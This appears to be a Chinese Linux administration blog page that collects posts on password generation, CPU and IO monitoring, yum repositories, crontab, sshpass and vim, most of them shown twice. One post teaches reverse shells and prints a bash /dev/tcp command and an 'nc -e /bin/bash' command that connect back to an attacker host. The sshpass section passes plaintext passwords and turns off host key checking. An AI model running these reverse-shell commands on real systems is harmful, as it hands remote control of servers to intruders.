Linux系统有一个自带的生成密码的命令,这个命令异常强悍,可以帮助我们生成随机密码,要知道,现在的黑客无处不在,想一个难猜的密码还真的下点功夫,有了这个密码生成工具,就可以为管理员节省好多脑细胞啊,下面看下这个命令的使用:
安装mkpasswd的包:
yum install -y expect
[root@CentOS6 game-dir]# mkpasswd
JI>s64tyv
[root@centos6 game-dir]# mkpasswd -l 12
e/Hwyw8Kied6
[root@centos6 game-dir]# mkpasswd -l 12 -d 3
zas4Ery+5K8l
[root@centos6 game-dir]# mkpasswd -l 12 -c 4
ff9bT7b}npmM
[root@centos6 game-dir]# mkpasswd -l 12 -C 4
x3TwqtSKh}2T
[root@centos6 game-dir]# mkpasswd -l 12 -s 4
px}[aO8cF':8
[root@centos6 game-dir]# mkpasswd -l 18 -s 4 -c 4 -C 4
;.8zW3dGiwmb@dyWO&
下面来简单介绍一下常用的参数含义:
usage: mkpasswd [args] [user]
where arguments are:
-l # (length of password, default = 7)
指定密码的长度,默认是7位数
-d # (min # of digits, default = 2)
指定密码中数字最少位数,默认是2位
-c # (min # of lowercase chars, default = 2)
指定密码中小写字母最少位数,默认是2位
-C # (min # of uppercase chars, default = 2)
指定密码中大写字母最少位数,默认是2位
-s # (min # of special chars, default = 1)
指定密码中特殊字符最少位数,默认是1位
-v (verbose, show passwd interaction)
这个参数在实验的时候报错,具体不知道。
Linux查看每个CPU负载及进程IO,cpu使用率低负载高,原因分析。
Unix/LinuxC技术 jackxiang 2017-6-24 12:58
yum install -y sysstat
查看所有CPU内每一个处理器负载,刷新频率1S(根据物理CPU个数)
mpstat -P ALL 1
点击在新窗口中浏览此图片
查看指定的处理器负载(-P 后的数字从0开始),刷新频率1S
mpstat -P 0 -P 1 1
点击在新窗口中浏览此图片
yum install -y iotop
查看进程IO
iotop
点击在新窗口中浏览此图片
cpu使用率低负载高,原因分析:
http://www.fblinux.com/?p=281
Linux 系统没有业务程序运行,通过 top 观察,类似如下图所示,CPU 很空闲,但是 load average 却非常高:
处理办法:
load average 是对 CPU 负载的评估,其值越高,说明其任务队列越长,处于等待执行的任务越多。
出现此种情况时,可能是由于僵死进程导致的。可以通过指令 ps -axjf 查看是否存在 D 状态进程。
D 状态是指不可中断的睡眠状态。该状态的进程无法被 kill,也无法自行退出。只能通过恢复其依赖的资源或者重启系统来解决。
From:https://help.aliyun.com/knowledge_detail/41225.html
查看所有CPU内每一个处理器负载,刷新频率1S(根据物理CPU个数)
mpstat -P ALL 1
点击在新窗口中浏览此图片
查看指定的处理器负载(-P 后的数字从0开始),刷新频率1S
mpstat -P 0 -P 1 1
点击在新窗口中浏览此图片
yum install -y iotop
查看进程IO
iotop
点击在新窗口中浏览此图片
cpu使用率低负载高,原因分析:
http://www.fblinux.com/?p=281
Linux 系统没有业务程序运行,通过 top 观察,类似如下图所示,CPU 很空闲,但是 load average 却非常高:
处理办法:
load average 是对 CPU 负载的评估,其值越高,说明其任务队列越长,处于等待执行的任务越多。
出现此种情况时,可能是由于僵死进程导致的。可以通过指令 ps -axjf 查看是否存在 D 状态进程。
D 状态是指不可中断的睡眠状态。该状态的进程无法被 kill,也无法自行退出。只能通过恢复其依赖的资源或者重启系统来解决。
From:https://help.aliyun.com/knowledge_detail/41225.html
[实践OK]CentOS 7 使用 yum localinstall命令安装 bcloud。及yum-config-manager命令找不到等。yum-config-manager命令找不到的解决方法:yum -y install yum-utils
Unix/LinuxC技术 jackxiang 2017-6-24 12:58
yum-config-manager命令找不到的解决方法:yum -y install yum-utils
yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
背景:百度云是个好东西,Linux 下能命令行使用是最好不过的了。
yum-config-manager --add-repo=https://copr.fedoraproject.org/coprs/mosquito/myrepo/repo/epel-$(rpm -E %?rhel)/mosquito-myrepo-epel-$(rpm -E %?rhel).repo
-bash: yum-config-manager: 未找到命令
系统默认没有安装这个命令,这个命令在yum-utils 包里,可以通过命令yum -y install yum-utils 安装就可以了。
步骤一:先找到软件包安装路径
whereis yum-config-manager
yum-config-manager: /usr/bin/yum-config-manager /usr/share/man/man1/yum-config-manager.1.gz
步骤二:再根据RPM包的命令传入程序路径后反查到这个软件所属于哪个RPM包:
rpm -qf /usr/bin/yum-config-manager
yum-utils-1.1.31-40.el7.noarch
================================================================
CentOS 7 使用如下命令安装 bcloud:
# yum-config-manager --add-repo=https://copr.fedoraproject.org/coprs/mosquito/myrepo/repo/epel-$(rpm -E %?rhel)/mosquito-myrepo-epel-$(rpm -E %?rhel).repo
# yum localinstall http://li.nux.ro/download/nux/dextop/el$(rpm -E %rhel)/x86_64/nux-dextop-release-0-2.el$(rpm -E %rhel).nux.noarch.rpm
# yum install bcloud
来自:http://jingyan.baidu.com/article/4dc40848b761cbc8d846f172.html
实践如下:
yum-config-manager --add-repo=https://copr.fedoraproject.org/coprs/mosquito/myrepo/repo/epel-$(rpm -E %?rhel)/mosquito-myrepo-epel-$(rpm -E %?rhel).repo
已加载插件:fastestmirror
adding repo from: https://copr.fedoraproject.org/coprs/mosquito/myrepo/repo/epel-7/mosquito-myrepo-epel-7.repo
grabbing file https://copr.fedoraproject.org/coprs/mosquito/myrepo/repo/epel-7/mosquito-myrepo-epel-7.repo to /etc/yum.repos.d/mosquito-myrepo-epel-7.repo
repo saved to /etc/yum.repos.d/mosquito-myrepo-epel-7.repo
关闭打开仓库:
yum-config-manager --disable extras
extras之前没有enabled = *这项,而运行后,就有这一项了:
[extras]
name=CentOS-$releasever – Extras
baseurl=https://mirrors.ustc.edu.cn/centos/$releasever/extras/$basearch/
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
enabled = 0
打开刚关闭的仓库:
yum-config-manager --enable extras
[extras]
name=CentOS-$releasever – Extras
baseurl=https://mirrors.ustc.edu.cn/centos/$releasever/extras/$basearch/
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
enabled = 1
yum localinstall http://li.nux.ro/download/nux/dextop/el$(rpm -E %rhel)/x86_64/nux-dextop-release-0-2.el$(rpm -E %rhel).nux.noarch.rpm
依赖关系解决
=========================================================================================================================================================================================
Package 架构 版本 源 大小
=========================================================================================================================================================================================
正在安装:
nux-dextop-release noarch 0-2.el7.nux /nux-dextop-release-0-2.el7.nux.noarch 3.5 k
为依赖而安装:
epel-release noarch 7-9 epel 14 k
事务概要
=========================================================================================================================================================================================
安装 1 软件包 (+1 依赖软件包)
总计:18 k
安装:
nux-dextop-release.noarch 0:0-2.el7.nux
作为依赖被安装:
epel-release.noarch 0:7-9
yum clean all
yum install bcloud
已加载插件:fastestmirror
Repository epel is listed more than once in the configuration
Repository epel-debuginfo is listed more than once in the configuration
Repository epel-source is listed more than once in the configuration
https://copr-be.cloud.fedoraproject.org/results/mosquito/myrepo/epel-7-x86_64/repodata/repomd.xml: [Errno 14] HTTPS Error 404 - Not Found
正在尝试其它镜像。
To address this issue please refer to the below knowledge base article
https://access.redhat.com/articles/1320623
If above article doesn't help to resolve this issue please create a bug on https://bugs.centos.org/
nux-dextop | 2.9 kB 00:00:00
nux-dextop/x86_64/primary_db 44% [=============================- ] 32 kB/s | 745 kB 00:00:29 ETA
http://www.linuxdown.net/soft/2015/0127/3799.html
https://github.com/houtianze/bypy/blob/master/README.md
yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
背景:百度云是个好东西,Linux 下能命令行使用是最好不过的了。
yum-config-manager --add-repo=https://copr.fedoraproject.org/coprs/mosquito/myrepo/repo/epel-$(rpm -E %?rhel)/mosquito-myrepo-epel-$(rpm -E %?rhel).repo
-bash: yum-config-manager: 未找到命令
系统默认没有安装这个命令,这个命令在yum-utils 包里,可以通过命令yum -y install yum-utils 安装就可以了。
步骤一:先找到软件包安装路径
whereis yum-config-manager
yum-config-manager: /usr/bin/yum-config-manager /usr/share/man/man1/yum-config-manager.1.gz
步骤二:再根据RPM包的命令传入程序路径后反查到这个软件所属于哪个RPM包:
rpm -qf /usr/bin/yum-config-manager
yum-utils-1.1.31-40.el7.noarch
================================================================
CentOS 7 使用如下命令安装 bcloud:
# yum-config-manager --add-repo=https://copr.fedoraproject.org/coprs/mosquito/myrepo/repo/epel-$(rpm -E %?rhel)/mosquito-myrepo-epel-$(rpm -E %?rhel).repo
# yum localinstall http://li.nux.ro/download/nux/dextop/el$(rpm -E %rhel)/x86_64/nux-dextop-release-0-2.el$(rpm -E %rhel).nux.noarch.rpm
# yum install bcloud
来自:http://jingyan.baidu.com/article/4dc40848b761cbc8d846f172.html
实践如下:
yum-config-manager --add-repo=https://copr.fedoraproject.org/coprs/mosquito/myrepo/repo/epel-$(rpm -E %?rhel)/mosquito-myrepo-epel-$(rpm -E %?rhel).repo
已加载插件:fastestmirror
adding repo from: https://copr.fedoraproject.org/coprs/mosquito/myrepo/repo/epel-7/mosquito-myrepo-epel-7.repo
grabbing file https://copr.fedoraproject.org/coprs/mosquito/myrepo/repo/epel-7/mosquito-myrepo-epel-7.repo to /etc/yum.repos.d/mosquito-myrepo-epel-7.repo
repo saved to /etc/yum.repos.d/mosquito-myrepo-epel-7.repo
关闭打开仓库:
yum-config-manager --disable extras
extras之前没有enabled = *这项,而运行后,就有这一项了:
[extras]
name=CentOS-$releasever – Extras
baseurl=https://mirrors.ustc.edu.cn/centos/$releasever/extras/$basearch/
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
enabled = 0
打开刚关闭的仓库:
yum-config-manager --enable extras
[extras]
name=CentOS-$releasever – Extras
baseurl=https://mirrors.ustc.edu.cn/centos/$releasever/extras/$basearch/
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
enabled = 1
yum localinstall http://li.nux.ro/download/nux/dextop/el$(rpm -E %rhel)/x86_64/nux-dextop-release-0-2.el$(rpm -E %rhel).nux.noarch.rpm
依赖关系解决
=========================================================================================================================================================================================
Package 架构 版本 源 大小
=========================================================================================================================================================================================
正在安装:
nux-dextop-release noarch 0-2.el7.nux /nux-dextop-release-0-2.el7.nux.noarch 3.5 k
为依赖而安装:
epel-release noarch 7-9 epel 14 k
事务概要
=========================================================================================================================================================================================
安装 1 软件包 (+1 依赖软件包)
总计:18 k
安装:
nux-dextop-release.noarch 0:0-2.el7.nux
作为依赖被安装:
epel-release.noarch 0:7-9
yum clean all
yum install bcloud
已加载插件:fastestmirror
Repository epel is listed more than once in the configuration
Repository epel-debuginfo is listed more than once in the configuration
Repository epel-source is listed more than once in the configuration
https://copr-be.cloud.fedoraproject.org/results/mosquito/myrepo/epel-7-x86_64/repodata/repomd.xml: [Errno 14] HTTPS Error 404 - Not Found
正在尝试其它镜像。
To address this issue please refer to the below knowledge base article
https://access.redhat.com/articles/1320623
If above article doesn't help to resolve this issue please create a bug on https://bugs.centos.org/
nux-dextop | 2.9 kB 00:00:00
nux-dextop/x86_64/primary_db 44% [=============================- ] 32 kB/s | 745 kB 00:00:29 ETA
http://www.linuxdown.net/soft/2015/0127/3799.html
https://github.com/houtianze/bypy/blob/master/README.md
linux c 通过hostname获得ip地址
Unix/LinuxC技术 jackxiang 2017-6-24 12:45
./gh
529960480-handle-gethostbyname
hostname=justwinit-php-mysql_bj_sjs_10_44_202_177
addr:127.0.0.1
来自:http://blog.csdn.net/zzz_781111/article/details/7372024
背景:在用Ansible的脚本初始化环境时,在CentOS5.x出现No Package matching 'cronie' found available,而在CentOS6.x上是OK的。
原因:centos6有些商家镜像没有带crontab,需要的话要自己安装,但是centos6和centos5安装crontab是不一样的,因为变更了一些依赖关系。
CentOS6.x:
/usr/bin/crontab -e
rpm -qf /usr/bin/crontab
cronie-1.4.4-15.el6_7.1.x86_64
注意:On CentOs 6 you can still install vixie-cron, but the real package is cronie:
yum install vixie-cron -y
实践成功如下:
CentOS5.x:
经之前旧的CentOS安装有Crontab的服务器上通过rpm命令反查crontab:
/usr/bin/crontab -e
rpm -qf /usr/bin/crontab
vixie-cron-4.1-81.el5
crontab package in CentOS is vixie-cron.
service crond restart
Stopping crond: [ OK ]
Starting crond: [ OK ]
On CentOS 7 vixie-cron is not longer available, so you need to use cronie:
yum install cronie
From:http://www.zxsdw.com/index.php/archives/1151/
原因:centos6有些商家镜像没有带crontab,需要的话要自己安装,但是centos6和centos5安装crontab是不一样的,因为变更了一些依赖关系。
CentOS6.x:
/usr/bin/crontab -e
rpm -qf /usr/bin/crontab
cronie-1.4.4-15.el6_7.1.x86_64
注意:On CentOs 6 you can still install vixie-cron, but the real package is cronie:
yum install vixie-cron -y
实践成功如下:
CentOS5.x:
经之前旧的CentOS安装有Crontab的服务器上通过rpm命令反查crontab:
/usr/bin/crontab -e
rpm -qf /usr/bin/crontab
vixie-cron-4.1-81.el5
crontab package in CentOS is vixie-cron.
service crond restart
Stopping crond: [ OK ]
Starting crond: [ OK ]
On CentOS 7 vixie-cron is not longer available, so you need to use cronie:
yum install cronie
From:http://www.zxsdw.com/index.php/archives/1151/
背景:在多台机器上同步一个文件,尤其是刚开始重装系统或没有ansible这样的运维工具,比如想批量给升级一下yum源,用rz 是可以的,如果十来台还成,上五十台就有点麻烦了。sshpass是个好东西,结合scp和shell能完成很多台机器的文件的拷贝,然后结合sudo把文件挪动到root才能去的地方。其实还有一个expect脚步也有这个自动捕获输出并自动输入密码。但如果是第一次连接,expect可能捕获的输出可能是yes啥的输出,spawn这个命令也是expect的rpm包的一个命令,但都得yum安装,这个引出新的安装问题,http://justwinit.cn/post/5089/,还是讲sshpass包。
关于sshpass:
rpm -qf /usr/bin/sshpass
sshpass-1.05-1.el6.x86_64
sshpass-1.06-1.el6.x86_64
sshpass: 用于非交互的ssh 密码验证
ssh登陆不能在命令行中指定密码,也不能以shell中随处可见的,sshpass 的出现,解决了这一问题。它允许你用 -p 参数指定明文密码,然后直接登录远程服务器。 它支持密码从命令行,文件,环境变量中读取
实践如下:
cd /home/xiangdong
vi /home/xiangdong/ssh.passwd
同样,因为密码一样,可以起多个这样的免密拷贝,包括命令执行:
如果说ansible 的command命令不行,那就用那个raw更底层一些,如下,做解压:
来自:http://jackxiang.com/post/8807/
$> sshpass -h
Usage: sshpass [-f|-d|-p|-e] [-hV] command parameters
-f filename Take password to use from file
-d number Use number as file descriptor for getting password
-p password Provide password as argument (security unwise)
-e Password is passed as env-var "SSHPASS"
With no parameters - password will be taken from stdin
-h Show help (this screen)
-V Print version information
At most one of -f, -d, -p or -e should be used
sshpass [-f|-d|-p|-e] [-hV] command parameters 中的 command parameters 和使用交互式密码验证的使用方法相同
#从命令行方式传递密码
$> sshpass -p user_password ssh user_name@192.168..1.2
$> sshpass -p user_password scp -P22 192.168.1.2:/home/test/t .
#从文件读取密码
$> echo "user_password" > user.passwd
$> sshpass -f user.passwd ssh user_name@192.168..1.2
#从环境变量获取密码
$> export SSHPASS="user_password"
$> sshpass -e ssh user_name@192.168..1.2
[oldboy@backup ~]$ sshpass -p 123456 ssh 172.16.1.31
#第一次操作可能没反应,可用下述参数解决
[root@backup ~]# sshpass -p 123456 ssh -p 22 172.16.1.31 -o StrictHostKeyChecking=no
Warning: Permanently added '172.16.1.31' (RSA) to thelist of known hosts.
Last login: Fri Jun 10 15:32:52 2016 from 10.0.0.1
[root@nfs01 ~]# logout
或
[root@backup ~]# sshpass -p 123456 ssh 172.16.1.31 -o StrictHostKeyChecking=no
Last login: Fri Jun 10 15:57:47 2016 from 172.16.1.41
[root@nfs01 ~]# logout
2、2、1#直接带密码连接服务器
[root@backup ~]# sshpass -p 123456 ssh 172.16.1.31
Last login: Fri Jun 10 15:57:35 2016 from 172.16.1.41
[root@nfs01 ~]# logout
2、2、2#以文件形式保存密码连接服务器
[root@backup ~]# echo "123456">ssh.passwd
[root@backup ~]# sshpass -f ssh.passwd ssh 172.16.1.31
Last login: Fri Jun 10 16:00:06 2016 from 172.16.1.41
[root@nfs01 ~]# logout
Connection to 172.16.1.31 closed.
2、2、3#将密码写入变量
[root@backup ~]# export SSHPASS="123456"
[root@backup ~]# sshpass -e ssh 172.16.1.31
Last login: Fri Jun 10 16:05:14 2016 from 172.16.1.41
[root@nfs01 ~]# logout
Connection to 172.16.1.31 closed.
2、2、4#同理远程拉取、推送文件、执行命令等操作scp,rsync均可。
[root@backup ~]# sshpass -f ssh.passwd scp /etc/hosts172.16.1.31:/root/
[root@nfs01 ~]# pwd
/root
[root@nfs01 ~]# ls -l hosts
-rw-r--r-- 1 root root 158 Jun 10 16:13 hosts
[root@backup ~]# sshpass -f ssh.passwd ssh 172.16.1.31 ls /root/
anaconda-ks.cfg
hosts
install.log
install.log.syslog
3、总结
sshpass的优点:简单易用,速度会比expect快很多。
sshpass的缺点:-p参数密码是明文显示,可以通过history查看。-f参数则需要对面文件进行权限限制,保证他人无法查看。-e参数别人也可以查到IP。
来自:http://blog.51cto.com/ylcodes01/1789306
源码位置:http://sourceforge.net/projects/sshpass/
摘录自:http://m.blog.csdn.net/article/details?id=7293274
关于sshpass:
rpm -qf /usr/bin/sshpass
sshpass-1.05-1.el6.x86_64
sshpass-1.06-1.el6.x86_64
sshpass: 用于非交互的ssh 密码验证
ssh登陆不能在命令行中指定密码,也不能以shell中随处可见的,sshpass 的出现,解决了这一问题。它允许你用 -p 参数指定明文密码,然后直接登录远程服务器。 它支持密码从命令行,文件,环境变量中读取
实践如下:
cd /home/xiangdong
vi /home/xiangdong/ssh.passwd
同样,因为密码一样,可以起多个这样的免密拷贝,包括命令执行:
如果说ansible 的command命令不行,那就用那个raw更底层一些,如下,做解压:
来自:http://jackxiang.com/post/8807/
$> sshpass -h
Usage: sshpass [-f|-d|-p|-e] [-hV] command parameters
-f filename Take password to use from file
-d number Use number as file descriptor for getting password
-p password Provide password as argument (security unwise)
-e Password is passed as env-var "SSHPASS"
With no parameters - password will be taken from stdin
-h Show help (this screen)
-V Print version information
At most one of -f, -d, -p or -e should be used
sshpass [-f|-d|-p|-e] [-hV] command parameters 中的 command parameters 和使用交互式密码验证的使用方法相同
#从命令行方式传递密码
$> sshpass -p user_password ssh user_name@192.168..1.2
$> sshpass -p user_password scp -P22 192.168.1.2:/home/test/t .
#从文件读取密码
$> echo "user_password" > user.passwd
$> sshpass -f user.passwd ssh user_name@192.168..1.2
#从环境变量获取密码
$> export SSHPASS="user_password"
$> sshpass -e ssh user_name@192.168..1.2
[oldboy@backup ~]$ sshpass -p 123456 ssh 172.16.1.31
#第一次操作可能没反应,可用下述参数解决
[root@backup ~]# sshpass -p 123456 ssh -p 22 172.16.1.31 -o StrictHostKeyChecking=no
Warning: Permanently added '172.16.1.31' (RSA) to thelist of known hosts.
Last login: Fri Jun 10 15:32:52 2016 from 10.0.0.1
[root@nfs01 ~]# logout
或
[root@backup ~]# sshpass -p 123456 ssh 172.16.1.31 -o StrictHostKeyChecking=no
Last login: Fri Jun 10 15:57:47 2016 from 172.16.1.41
[root@nfs01 ~]# logout
2、2、1#直接带密码连接服务器
[root@backup ~]# sshpass -p 123456 ssh 172.16.1.31
Last login: Fri Jun 10 15:57:35 2016 from 172.16.1.41
[root@nfs01 ~]# logout
2、2、2#以文件形式保存密码连接服务器
[root@backup ~]# echo "123456">ssh.passwd
[root@backup ~]# sshpass -f ssh.passwd ssh 172.16.1.31
Last login: Fri Jun 10 16:00:06 2016 from 172.16.1.41
[root@nfs01 ~]# logout
Connection to 172.16.1.31 closed.
2、2、3#将密码写入变量
[root@backup ~]# export SSHPASS="123456"
[root@backup ~]# sshpass -e ssh 172.16.1.31
Last login: Fri Jun 10 16:05:14 2016 from 172.16.1.41
[root@nfs01 ~]# logout
Connection to 172.16.1.31 closed.
2、2、4#同理远程拉取、推送文件、执行命令等操作scp,rsync均可。
[root@backup ~]# sshpass -f ssh.passwd scp /etc/hosts172.16.1.31:/root/
[root@nfs01 ~]# pwd
/root
[root@nfs01 ~]# ls -l hosts
-rw-r--r-- 1 root root 158 Jun 10 16:13 hosts
[root@backup ~]# sshpass -f ssh.passwd ssh 172.16.1.31 ls /root/
anaconda-ks.cfg
hosts
install.log
install.log.syslog
3、总结
sshpass的优点:简单易用,速度会比expect快很多。
sshpass的缺点:-p参数密码是明文显示,可以通过history查看。-f参数则需要对面文件进行权限限制,保证他人无法查看。-e参数别人也可以查到IP。
来自:http://blog.51cto.com/ylcodes01/1789306
源码位置:http://sourceforge.net/projects/sshpass/
摘录自:http://m.blog.csdn.net/article/details?id=7293274
Linux渗透之反弹Shell
Unix/LinuxC技术 jackxiang 2017-6-24 12:41
ls /proc/8145/fd #0,1给定和到socket里面了
https://help.aliyun.com/document_detail/206139.htm
xiangdong@kali-linux-bj-yz-10-10-0-136:~$
nc -lvvp 6767
[root@levoo-gateway_virtualrouter-ipforward_bj_rfls_10_10_0_3:/tmp]
bash -i >& /dev/tcp/10.10.0.136/6767 0>&1
来自:https://blog.csdn.net/weixin_50464560/article/details/123886779
反弹shell通常适用于如下几种情况:
目标机因防火墙受限,目标机器只能发送请求,不能接收请求。
目标机端口被占用。
目标机位于局域网,或IP会动态变化,攻击机无法直接连接。
对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的。
......
对于以上几种情况,我们是无法利用正向连接的,要用反向连接。
背景:反弹是目标机主动连接攻击机,是指在控制的机器上开一个端口,在另一端被入侵的服务器上面开一个连接到公网服务器的IP和端口。
如,被控机上运行(相当于在一台生产服务器上面访问一个websocket不断开):
nc -e /bin/bash 10.10.0.136 4444
在控制机上面开端口,并能反过来控制那台发起连接的服务器,靠的是它上面的bash解析器:
nc -lp 4444
ls
anaconda-ks.cfg
pwd
/root
ls
anaconda-ks.cfg
cd /home/
ls
10.10.0.1** #/home目录
阅读全文
https://help.aliyun.com/document_detail/206139.htm
xiangdong@kali-linux-bj-yz-10-10-0-136:~$
nc -lvvp 6767
[root@levoo-gateway_virtualrouter-ipforward_bj_rfls_10_10_0_3:/tmp]
bash -i >& /dev/tcp/10.10.0.136/6767 0>&1
来自:https://blog.csdn.net/weixin_50464560/article/details/123886779
反弹shell通常适用于如下几种情况:
目标机因防火墙受限,目标机器只能发送请求,不能接收请求。
目标机端口被占用。
目标机位于局域网,或IP会动态变化,攻击机无法直接连接。
对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的。
......
对于以上几种情况,我们是无法利用正向连接的,要用反向连接。
背景:反弹是目标机主动连接攻击机,是指在控制的机器上开一个端口,在另一端被入侵的服务器上面开一个连接到公网服务器的IP和端口。
如,被控机上运行(相当于在一台生产服务器上面访问一个websocket不断开):
nc -e /bin/bash 10.10.0.136 4444
在控制机上面开端口,并能反过来控制那台发起连接的服务器,靠的是它上面的bash解析器:
nc -lp 4444
ls
anaconda-ks.cfg
pwd
/root
ls
anaconda-ks.cfg
cd /home/
ls
10.10.0.1** #/home目录
阅读全文
[实践OK]vim在窗口的最上面显示当前打开文件的路径和文件名,vim移动到指定字符-随意动, vim 跳到指定行,单词移动等移动如飞
Unix/LinuxC技术 jackxiang 2017-6-24 12:39
使用”q/“命令打开了command-line窗口,这个窗口列出了我之前所查找的字符串。我现在想查找包含”check_swap“,于是先跳到第399行,把”check_tty“改为”check_swap“,然后按回车。此时vim就去查找包含”check_swap“位置了。这个例子比较简单,你可能觉得command-line窗口没什么必要,但如果你要查找的内容是一个很长的正则表达式,你就会发现它非常有用了。
一、vim在窗口的最上面显示当前打开文件的路径和文件名
在~/.vimrc 中添加如下代码,配置vim窗口最上边的显示内容:
let &titlestring = expand("%:p")
if &term == "screen"
set t_ts=^[k
set t_fs=^[\
endif
if &term == "screen" || &term == "xterm"
set title
endif
如果把上面代码中的expand("%:p")换成expand("%:t")将不显示路径只显示文件名。
一句话——在里面输入:pwd即可
来自:http://blog.sina.com.cn/s/blog_4ddef8f80101ecw4.html
二、vim 跳到指定行:
在编辑模式下输入
ngg 或者 nG
n为指定的行数(如25)
25gg或者25G 跳转到第25行.
在命令模式下输入行号n
: n
如果想打开文件即跳转
vim +n FileName
查看当然光标所在的行
Ctrl+g
三、移动光标到下一个单词的词首和移动光标到下一个单词的词首:
vim中,移动光标到下一个单词的词首,使用命令”w“,移动光标到下一个单词的词首,使用命令”b“;移动光标到下一个单词的结尾,用命令”e“,移动光标到上一个单词的结尾,使用命令”ge“。
四、[ 移动到指定字符 ],这里发现t命令用不了:
上面的命令都是行间移动(除h, l外),也就是从当前行移动到另外一行。如果我们想在当前行内快速移动,可以使用f, t, F, T命令。
“f“命令移动到光标右边的指定字符上,例如,”fx“,会把移动到光标右边的第一个’x’字符上。”F“命令则反方向查找,也就是移动到光标左边的指定字符上。
“t“命令和”f“命令的区别在于,它移动到光标右边的指定字符之前。例如,”tx“会移动到光标右边第一个’x’字符的前面。”T“命令是”t“命令的反向版本,它移动到光标右边的指定字符之后。
这四个命令只在当前行中移动光标,光标不会跨越回车换行符。
可以在命令前面使用数字,表示倍数。例如,”3fx“表示移动到光标右边的第3个’x’字符上。
“;“命令重复前一次输入的f, t, F, T命令,而”,“命令会反方向重复前一次输入的f, t, F, T命令。这两个命令前也可以使用数字来表示倍数。
来自:http://easwy.com/blog/archives/advanced-vim-skills-basic-move-method/
http://www.360doc.com/content/15/0824/20/26347842_494523898.shtml
一、vim在窗口的最上面显示当前打开文件的路径和文件名
在~/.vimrc 中添加如下代码,配置vim窗口最上边的显示内容:
let &titlestring = expand("%:p")
if &term == "screen"
set t_ts=^[k
set t_fs=^[\
endif
if &term == "screen" || &term == "xterm"
set title
endif
如果把上面代码中的expand("%:p")换成expand("%:t")将不显示路径只显示文件名。
一句话——在里面输入:pwd即可
来自:http://blog.sina.com.cn/s/blog_4ddef8f80101ecw4.html
二、vim 跳到指定行:
在编辑模式下输入
ngg 或者 nG
n为指定的行数(如25)
25gg或者25G 跳转到第25行.
在命令模式下输入行号n
: n
如果想打开文件即跳转
vim +n FileName
查看当然光标所在的行
Ctrl+g
三、移动光标到下一个单词的词首和移动光标到下一个单词的词首:
vim中,移动光标到下一个单词的词首,使用命令”w“,移动光标到下一个单词的词首,使用命令”b“;移动光标到下一个单词的结尾,用命令”e“,移动光标到上一个单词的结尾,使用命令”ge“。
四、[ 移动到指定字符 ],这里发现t命令用不了:
上面的命令都是行间移动(除h, l外),也就是从当前行移动到另外一行。如果我们想在当前行内快速移动,可以使用f, t, F, T命令。
“f“命令移动到光标右边的指定字符上,例如,”fx“,会把移动到光标右边的第一个’x’字符上。”F“命令则反方向查找,也就是移动到光标左边的指定字符上。
“t“命令和”f“命令的区别在于,它移动到光标右边的指定字符之前。例如,”tx“会移动到光标右边第一个’x’字符的前面。”T“命令是”t“命令的反向版本,它移动到光标右边的指定字符之后。
这四个命令只在当前行中移动光标,光标不会跨越回车换行符。
可以在命令前面使用数字,表示倍数。例如,”3fx“表示移动到光标右边的第3个’x’字符上。
“;“命令重复前一次输入的f, t, F, T命令,而”,“命令会反方向重复前一次输入的f, t, F, T命令。这两个命令前也可以使用数字来表示倍数。
来自:http://easwy.com/blog/archives/advanced-vim-skills-basic-move-method/
http://www.360doc.com/content/15/0824/20/26347842_494523898.shtml